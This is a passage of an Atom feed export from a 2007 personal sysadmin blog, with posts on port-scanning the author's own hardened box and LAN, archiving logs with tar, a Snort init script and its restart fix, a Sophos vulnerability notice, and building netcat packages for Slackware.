/&gt;&lt;span style="font-weight: bold;"&gt;3306/tcp open   mysql&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5900/tcp closed vnc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;MAC Address: 00:C0:4F:61:28:1F (Dell Computer)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nmap finished: 1 IP address (1 host up) scanned in 22.277 seconds&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;Comparing the two scans, some things are readily apparent:  port 25/tcp and 5801/tcp, 5901/tcp, and 6001/tcp are listening on the loopback device, yet they aren't listening on IP that is assigned to the machine.  Also, note that certain ports are bound to the IP but not the loopback.  The more important aspect of these two scans is the services listening on a non-loopback address, because services use IPs to communicate to other machines, not loopback devices.&lt;br /&gt;&lt;br /&gt;So, TCP ports 25, 5801, 5901, and 6001 appear to be open.  We can test this.  Remember, we're concerned about whether these ports can be seen as open to the internet.  We'll test this by using telnet.  Below, I'm logged into another machine and attempting to telnet on port 25 to the machine we Nmap'd on localhost:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold;"&gt;root@slackbox:~# telnet 10.150.1.103 25&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Trying 10.150.1.103...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;telnet: connect to address 10.150.1.103: Connection timed out&lt;/span&gt;&lt;/blockquote&gt;The connection timed out. It is pretty evident that the machine doesn't have services on 10.150.1.103:25 that just anyone can reach.&lt;br /&gt;&lt;br /&gt;We can also test by running 'netstat -an' on the machine.  Whle netstat doesn't connect to the port in question, it does indicate what interface services are using:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;blockquote style="font-weight: bold;"&gt;-su-2.05b# netstat -an | grep -i listen&lt;br /&gt;tcp4       0      0  *.5801                 *.*                    LISTEN&lt;br /&gt;tcp4       0      0  *.5901                 *.*                    LISTEN&lt;br /&gt;tcp4       0      0  *.6001                 *.*                    LISTEN&lt;br /&gt;tcp4       0      0  *.3306                 *.*                    LISTEN&lt;br /&gt;tcp4       0      0  10.150.1.103.8118      *.*                    LISTEN&lt;br /&gt;tcp4       0      0  10.150.1.103.80        *.*                    LISTEN&lt;br /&gt;tcp4       0      0  127.0.0.1.25           *.*                    LISTEN&lt;br /&gt;tcp4       0      0  *.22                   *.*                    LISTEN&lt;br /&gt;tcp6       0      0  *.22                   *.*                    LISTEN&lt;/blockquote&gt;See port 25?  What IP address is assigned to the service?  Loopback!  This means that this service isn't exposed to any other machine on the LAN or internet.  The other services are listening (for example, *.22) but the '*' usually means that the service is assigned to an interface (which may have a number of IPs assigned to it).  Ports 80 and 8118 have an IP assigned to the service, instead of '*'.  This means that only IP 10.150.1.103 is assigned to that interface.  Ports 80 and 8118 also do not show up when scanning localhost, but yet I can telnet to port 80 and 8118 when using the telnet command (and also browser), using 'telnet localhost 80' or 'telnet localhost 8118'.  Port 80 is a web server.  Port 8118 is a Privoxy proxy.  The reason is probably because my PF install on that machine filters some loopback traffic.  If I scan the IP of the machine, port 80 is then detected.  The reason is because PF is configured to allow port 80 traffic to/from 'slackbox' from/to 10.150.1.103.&lt;br /&gt;&lt;br /&gt;All of this is very elaborate.  Everything has to be taken into consideration:  what the firewall does/doesn't allow; what services run on 127.0.0.x; what services run on interfaces; what services run on IP addresses.&lt;br /&gt;&lt;br /&gt;The last thing we'll do is scan the LAN from the internet.  The results will be determined by what  ports the gateway router/firewall are forwarding to machines within the LAN.  For example, I know I've port 22/tcp open to the world because I've told my gateway firewall to forward any traffic on 22/tcp to 10.150.1.103.  I also don't allow much else and also allow some traffic to be forwarded to different machines within the LAN.  So, when a scan is being conducted from the outside, the whole LAN's security posture is taken into account.  Now, let us scan from the internet:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold;"&gt;Starting nmap V. 3.00 ( www.insecure.org/nmap/ )&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Interesting ports on pool-xx-xxx-xx-xx.washdc.fios.verizon.net (xx.xxx.xx.xxx):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;(The 1599 ports scanned but not shown below are in state: filtered)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Port       State       Service&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;22/tcp     open        ssh                     &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3306/tcp   open        mysql            &lt;/span&gt;&lt;/blockquote&gt;NICE! Of all the scans we've conducted thus far, this is the one that is important. The other scans paint the smaller picture, but this one puts it all together and is THE security assessment that one wants to conduct. So, you can see, ports 22 and 3306 are open to the world. This could be two different machines that need those ports open to the internet, or this could be one machine that has those two ports open to the world wide web. Note that while I can reach those ports, my firewall is configured to allow communication from the machine I scanned from. If a machine, from Google.com or any other IP/domain that is not accounted for within the FW policy, attempted the same thing, those ports wouldn't show as opened, as the firewall would drop the traffic. So, while the two ports appear to be open to the world in the above results, they actually aren't, as the traffic is being filtered.&lt;br /&gt;&lt;br /&gt;I hope all of this has helped some in understanding security and how to assess your LAN gateway and hosts within the LAN.  We've used Nmap, telnet, and netstat to determine the security posture of a given machine.  There are other tools that I didn't mention for brevity, (such as socklist, tcpdump, snort, for example) but Unix and Linux machines offer much in the way of testing security of a machine.&lt;br /&gt;&lt;br /&gt;`&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-4761437100277796879?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/4761437100277796879/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=4761437100277796879' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4761437100277796879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4761437100277796879'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/09/assessment-of-hardened-box.html' title='Assessment of a Hardened Box'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-157534745286526390</id><published>2007-09-05T22:11:00.000-04:00</published><updated>2007-12-31T19:31:43.864-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gz'/><category scheme='http://www.blogger.com/atom/ns#' term='tar'/><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='archiving'/><category scheme='http://www.blogger.com/atom/ns#' term='bz2'/><title type='text'>Archiving Logs</title><content type='html'>I've logs that I gather and put into a directory named /home/status.  There's a script that runs commands and directs the output to files within this directory.  The script runs every hour of every day.  The output is dumped into a directory akin to "070101/", which means 2007-01-01.  Each directory would have 24 files.  I periodically archive these (by year) into tar.gz files.&lt;br /&gt;&lt;br /&gt;Here's how the directory looks:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;root@starchild:/home/status/070101# ls&lt;br /&gt;070101.00.starchild.txt  070101.04.starchild.txt  070101.08.starchild.txt  070101.12.starchild.txt  070101.16.starchild.txt  070101.20.starchild.txt&lt;br /&gt;070101.01.starchild.txt  070101.05.starchild.txt  070101.09.starchild.txt  070101.13.starchild.txt  070101.17.starchild.txt  070101.21.starchild.txt&lt;br /&gt;070101.02.starchild.txt  070101.06.starchild.txt  070101.10.starchild.txt  070101.14.starchild.txt  070101.18.starchild.txt  070101.22.starchild.txt&lt;br /&gt;070101.03.starchild.txt  070101.07.starchild.txt  070101.11.starchild.txt  070101.15.starchild.txt  070101.19.starchild.txt  070101.23.starchild.txt&lt;br /&gt;root@starchild:/home/status/070101#&lt;/blockquote&gt; Here are the archives I currently have:&lt;br /&gt;&lt;blockquote&gt;root@starchild:/home/status# du -h sensorstat_logs-200*&lt;br /&gt;748k    sensorstat_logs-2005.tar.bz2&lt;br /&gt;3.5M    sensorstat_logs-2006.tar.bz2&lt;br /&gt;7.3M    sensorstat_logs-2007.tar.gz&lt;br /&gt;root@starchild:/home/status#&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;This is a listing of the month of January (unarchived):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;root@starchild:/home/status# ls -l | grep 0701&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan  1  2007 070101/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan  2  2007 070102/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan  3  2007 070103/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan  4  2007 070104/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan  5  2007 070105/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan  6  2007 070106/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan  7  2007 070107/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan  8  2007 070108/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan  9  2007 070109/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 10  2007 070110/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 11  2007 070111/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 12  2007 070112/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 13  2007 070113/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 14  2007 070114/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 15  2007 070115/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 16  2007 070116/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 17  2007 070117/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 18  2007 070118/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 19  2007 070119/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 20  2007 070120/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 21  2007 070121/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 22  2007 070122/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 23  2007 070123/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 24  2007 070124/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 25  2007 070125/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 26  2007 070126/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 27  2007 070127/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 28  2007 070128/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 29  2007 070129/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 30  2007 070130/&lt;br /&gt;drwxr-xr-x    2 root     root         4096 Jan 31  2007 070131/&lt;br /&gt;&lt;/blockquote&gt;The command I use to archive the directories within /home/status is:&lt;br /&gt;&lt;br /&gt;tar cvjfp sensorstat_logs-2007.tar.gz .&lt;br /&gt;&lt;br /&gt;c - creates the archive&lt;br /&gt;v - verbose output once the command is run (this isn't needed, but I like to see what the command is doing.&lt;br /&gt;j - compresses archive&lt;br /&gt;f - uses a file name&lt;br /&gt;p - preserves permissions of files within archive&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The "." at the end of the command directs the command to archive everything within the current directory.&lt;br /&gt;&lt;br /&gt;Once the files are archived, I can get rid of them using the 'rm' command to free up some space.&lt;br /&gt;&lt;br /&gt;I thought all of this would be cool to share...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-157534745286526390?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/157534745286526390/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=157534745286526390' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/157534745286526390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/157534745286526390'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/09/archiving-logs.html' title='Archiving Logs'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-3079154444243186746</id><published>2007-08-30T13:17:00.000-04:00</published><updated>2007-12-31T19:33:18.076-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='init script'/><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><title type='text'>Posted:  Snort init script</title><content type='html'>Here it is!&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;# Start/stop/restart snort.&lt;br /&gt;&lt;br /&gt;# 8/30/2007 - The snort_restart function wasn't working, but an investigation ferretted out the problem:  the "sleep" parameter was adjusted from "1" to "5" to give the process time to stop before starting the snort process again.&lt;br /&gt;&lt;br /&gt;# Start snort:&lt;br /&gt;snort_start() {&lt;br /&gt; if [ -x /usr/local/bin/snort ]; then&lt;br /&gt;   echo "Starting snort daemon:  /usr/local/bin/snort -devXz -c /home/snort/snort-2.6.1.1/snort.conf -i eth0"&lt;br /&gt;   /usr/local/bin/snort -devXz -c /home/snort/snort-2.6.1.1/snort.conf -i eth0 -D&lt;br /&gt; fi&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# Stop snort:&lt;br /&gt;snort_stop() {&lt;br /&gt; echo "Stopping snort daemon"&lt;br /&gt; killall snort&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# Restart snort:&lt;br /&gt;snort_restart() {&lt;br /&gt; snort_stop&lt;br /&gt; sleep 5&lt;br /&gt; snort_start&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;case "$1" in&lt;br /&gt;'start')&lt;br /&gt; snort_start&lt;br /&gt; ;;&lt;br /&gt;'stop')&lt;br /&gt; snort_stop&lt;br /&gt; ;;&lt;br /&gt;'restart')&lt;br /&gt; snort_restart&lt;br /&gt; ;;&lt;br /&gt;*)&lt;br /&gt; echo "usage $0 start|stop|restart"&lt;br /&gt;esac&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-3079154444243186746?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/3079154444243186746/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=3079154444243186746' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3079154444243186746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3079154444243186746'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/08/posted-snort-init-script.html' title='Posted:  Snort init script'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6505267253433123559</id><published>2007-08-28T15:10:00.000-04:00</published><updated>2007-12-31T19:24:47.193-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='difficulties'/><title type='text'>Snort Died...</title><content type='html'>It died after the creation of the new script...&lt;br /&gt;&lt;br /&gt;The only thing I can find is the following:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Aug 27 22:34:38 starchild snort[5941]: Snort exiting&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This SUCKS!&lt;br /&gt;&lt;br /&gt;I've restarted it but I now lack visibility for the past 12+ hours.  I'll watch the logs closely tonight and maybe direct any errors to a logfile.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Edited 8/30/2007:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;I think I've fixed the issue (for real, this time).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;There is an part of the script that would choke upon itself...the restart function:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;# Restart snort:&lt;br /&gt;snort_restart() {&lt;br /&gt;snort_stop&lt;br /&gt;sleep 5&lt;br /&gt;snort_start&lt;br /&gt;}&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;I had to change the sleep statement from "1" to "5".  I believe that the script chokes because it takes a few seconds to stop the snort process.  One second isn't enough time, it seems.  The script was stopping the process and immediately restarting it after one second.  One second after the kill command runs, the snort process is still trying to stop when the script starts the snort_start function.  I've tested this by adjusting the sleep statement and running the "rc.snort restart" command...I got successful results.  We'll now wait to see if the cron job croaks again (tonight).&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6505267253433123559?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6505267253433123559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6505267253433123559' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6505267253433123559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6505267253433123559'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/08/snort-died.html' title='Snort Died...'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-9214502595380567084</id><published>2007-08-27T15:15:00.000-04:00</published><updated>2007-12-31T19:24:18.806-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='idiotic'/><category scheme='http://www.blogger.com/atom/ns#' term='Sophos'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><title type='text'>Sophos Vulns</title><content type='html'>I saw this at an internal website (internal to my work):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Two vulnerabilities in Sophos’ anti-virus software for Microsoft Windows and Unix/Linux, will allow an attacker to remotely inject arbitrary code and also produce a Denial of Service (DoS) attack. Any version prior to 2.48.0 is affected. Please follow the links below for remediation.&lt;br /&gt;http://www.heise-security.co.uk/news/94954&lt;br /&gt;http://www.frsirt.com/english/advisories/2007/2972&lt;br /&gt;http://www.sophos.com/support/knowledgebase/article/28407.html&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This reminds me that the FAA is running Sophos AV clients on both their Windows and *nix IDSs...its stupid to even run AV on a machine that is dedicated to IDS, but I thought about them nonetheless...heh.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Edited on 8/28/2007:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;I wanted to elaborate on my comments.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;There's are several reasons why you shouldn't run AV on security devices:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;1.  The AV solution may have zero-day vulnerabilities.  Sure, you can block off all attempts against the management interface of the IDS device, but why even set yourself up to a possible compromise of a critical piece of architecture?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;2.  AV (and firewall...yes, both installed on an IDS in the FAA's case...I'm not BSing) solutions usually demand quite a bit of system resources.  IDSs usually demand major system resources also.  The two will eventually bump heads, unless the IDS is seeing no traffic (which, IMO, means that the IDS is worthless or may need its sniffing interface to be placed at a more critical location).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;3.  Just because NIST recommends a certain security posture doesn't mean that their recommendations should be applied blindly (yes, I'm talking about the FAA).  I'm also aware that the Department of Transporation (which FAA falls under) demands this ridiculous requirement.  Managers should question anything that isn't apparent in guidelines from higher headquarters...to not do so is to admit that you are a follower and not a 'do-er'.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;I say these comments because I worked with the FAA for awhile and certainly didn't like their way of thinking, but I worked there (as a contractor, which didn't help my situation much) and just took what was dished to me.  After several years of wondering if I should've voiced my opinion more strongly before leaving their organization, I'd have maybe actually taught their management and DOT's management some things about REAL security and how their security professionals SHOULD operate.  All I can say now is that I now know (and experienced) what NOT to do, especially as a security professional.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Bud, if you're reading this, know that I'm in a far better place and while I wish my friends still working there well, I do know that I will never ever be the type of person that put up with sub-par management and sub-par decision-making.  I'm certainly working in a better place, but I'd like to thank you for making me a better person...you did make me better at knowing idiots when I see them.  IDSs and firewalls on IDS devices...hahahaha!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-9214502595380567084?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/9214502595380567084/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=9214502595380567084' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/9214502595380567084'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/9214502595380567084'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/08/i-saw-this-at-internal-website-internal.html' title='Sophos Vulns'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5544111440011661502</id><published>2007-08-26T22:36:00.000-04:00</published><updated>2007-08-26T22:57:13.239-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='init script'/><category scheme='http://www.blogger.com/atom/ns#' term='netcat'/><category scheme='http://www.blogger.com/atom/ns#' term='slackpack'/><category scheme='http://www.blogger.com/atom/ns#' term='slackbuilds.org'/><title type='text'>Revamped rc.snort on my server</title><content type='html'>Hi all!&lt;br /&gt;&lt;br /&gt;First, I've redone my rc.snort file.  I looked at the existing rc files in /etc/rc.d/ and looked at rc.sendmail specifically.  It looked very simple compared to the rc.snort I did awhile back.  Remember when I mentioned that I did two of them, one for Slackware 9.0 and one for OpenBSD 3.8, with the OpenBSD one working fine but the Slackware one not working 100%?  Well, instead of basing the Slackware rc.snort from &lt;a href="http://www.slackbuilds.org"&gt;Slackbuilds'&lt;/a&gt; thttpd rc script, I went ahead and did the following:&lt;br /&gt;&lt;br /&gt;1.  I changed the name of the existing rc.snort to rc.snort.original using the 'mv' command.&lt;br /&gt;&lt;br /&gt;2.  I executed the following: cp rc.sendmail rc.snort&lt;br /&gt;&lt;br /&gt;3.  I edited rc.snort with VIM, replacing all mentioning of sendmail with snort, also including the path of snort.&lt;br /&gt;&lt;br /&gt;4.  I then tested by manually starting, stopping and restarting a running snort process.  I found that the script was choking because I forgot to add the '-D' switch to the script.  I fixed this and tested successfully.&lt;br /&gt;&lt;br /&gt;5.  I lastly set a cronjob to run 5 min in the future to test that the cronjob would function using the new script.  It worked!&lt;br /&gt;&lt;br /&gt;I should've done the above AGES ago.  Now I get to wait a few days to see if the cronjob fails because I haven't accounted for something else...that's what happened last time.  I think I'm not going to have issues this time, though.&lt;br /&gt;&lt;br /&gt;I'll link the revised rc.snort script a bit later.&lt;br /&gt;&lt;br /&gt;I've also built two netcat Slackware packages, using Checkinstall.  I built one for my 9.0 server and one for my v12.0 workstation.  Everytime I build a package, I'll be adding it to my slackpack repository, which will have v9.0 and v12.0 directories.  I've added it because I didn't find a slackpack of netcat hosted anywhere else.  I've the feeling that people may want the version for 12.0.  I don't think many people are using v9.0 anymore.&lt;br /&gt;&lt;br /&gt;You are probably wondering why I'm using v9.0.  Because that's what my hosting provider offers.  I try to keep it up-to-date but I've noticed that Pat isn't upgrading packages that far back anymore.  This means I'll have to build my own upgrade packages.  This also means I'll have to be very attentive to security (like I'm not already).  Additionally, this will soon force me to either upgrade to v12.0 (Linode has several howtos) or jump to another distribution for simplicity-sake.  :(&lt;br /&gt;&lt;br /&gt;Anyways,  I just wanted to post since I've been doing some work with Slack.&lt;br /&gt;&lt;br /&gt;Until next time...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5544111440011661502?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5544111440011661502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5544111440011661502' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5544111440011661502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5544111440011661502'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/08/revamped-rcsnort-on-my-server.html' title='Revamped rc.snort on my server'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-9034121509199844192</id><published>2007-07-30T17:57:00.001-04:00</published><updated>2007-08-26T22:58:25.795-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pf'/><category scheme='http://www.blogger.com/atom/ns#' term='router'/><category scheme='http://www.blogger.com/atom/ns#' term='Linksys'/><category scheme='http://www.blogger.com/atom/ns#' term='tomato'/><category scheme='http://www.blogger.com/atom/ns#' term='ipf'/><title type='text'>Latest Happenings...</title><content type='html'>Hey all...it's been awhile.&lt;br /&gt;&lt;br /&gt;What's been happening?  I've upgraded my Slackware machine to v12.0, wiping my partitions and doing a fresh install.  Why?  I'd been upgrading my Slack install since v10.0 and the install was becoming rather stagnant, so I backed up the important things and did a reinstall with little issues.  I'm not quite done setting things up yet (like grabbing the latest graphics drivers (Nvidia) and testing compiz).  I'm quite happy with v12.0, although I've got my work cut out for me concerning learning the differences between this version and the last...I know there were some rather substantial changes, from what I've heard.&lt;br /&gt;&lt;br /&gt;What else have I been doing?  Devlving in FreeBSD and OpenBSD a bit more.  I've converted my FreeBSD machine's firewall from ipf to pf.  The .conf files use similar syntax but the command structure is quite different, along with the number of functions that pf can perform.  pf appears quite a bit more robust than ipf...ipf appears to be a minor reflection of pf.  I'm definitely learning things, but the machine that pf is running on only serves SSH connections, but that's quit enough for me at this point in time.&lt;br /&gt;&lt;br /&gt;I've also decided to reflash my Linksys router to an opensource firmware called &lt;a 